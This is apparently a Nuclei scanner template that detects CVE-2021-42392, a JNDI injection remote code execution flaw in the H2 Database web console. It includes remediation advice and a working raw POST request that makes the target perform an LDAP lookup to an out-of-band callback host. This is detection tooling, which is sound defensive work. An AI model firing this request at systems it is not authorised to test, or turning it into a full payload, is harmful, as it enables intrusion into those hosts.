H2 Database Console - JNDI Injection RCE

id: CVE-2021-42392

info:
  name: H2 Database Console - JNDI Injection RCE
  author: i-am-paradox
  severity: critical
  description: |
    The org.h2.util.JdbcUtils.getConnection method of the H2 database takes as parameters the class name of the driver and URL of the database. An attacker may pass a JNDI driver name and a URL leading to a LDAP or RMI servers, causing remote code execution via the H2 web console (versions before 2.0.206 / 1.4.198 with the console enabled).
  impact: |
    An unauthenticated attacker can trigger an outbound JNDI lookup to a server they control, leading to remote code execution on the host running the H2 web console.
  remediation: |
    Upgrade H2 database to version 2.0.206 or later, and disable the web console (spring.h2.console.enabled=false) or restrict access to it.
  reference:
    - https://jfrog.com/blog/the-jndi-strikes-back-unauthenticated-rce-in-h2-database-console/
    - https://github.com/advisories/GHSA-h376-j262-vhq6
    - https://github.com/h2database/h2database/commit/b24aa46f48904ce64443f8f4353d70a2eed09037
    - https://nvd.nist.gov/vuln/detail/CVE-2021-42392
    - https://github.com/vulhub/vulhub/tree/master/h2database/CVE-2021-42392
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-42392
    cwe-id: CWE-502
    cpe: cpe:2.3:a:h2database:h2:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    verified: true
    vendor: h2database
    product: h2
  tags: cve,cve2021,h2database,jndi,rce,oast,java,kev,vuln

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /test.do?jsessionid={{jsessionid}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        driver=javax.naming.InitialContext&url=ldap://{{randstr}}.{{interactsh-url}}&user=&password=

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

    extractors:
      - type: regex
        name: jsessionid
        group: 1
        regex:
          - 'jsessionid=([0-9a-zA-Z-]+)'
        internal: true
# digest: 4a0a004730450220730f12733d2463f5fd212bbafe4ff25e0db88ce79fc59537a7a67117f2982e51022100a32eedc9b443c9340b4a9a56d8c975153073cc47d6d51480c80bc2f2561002c4:922c64590222798bb761d5b6d8e72950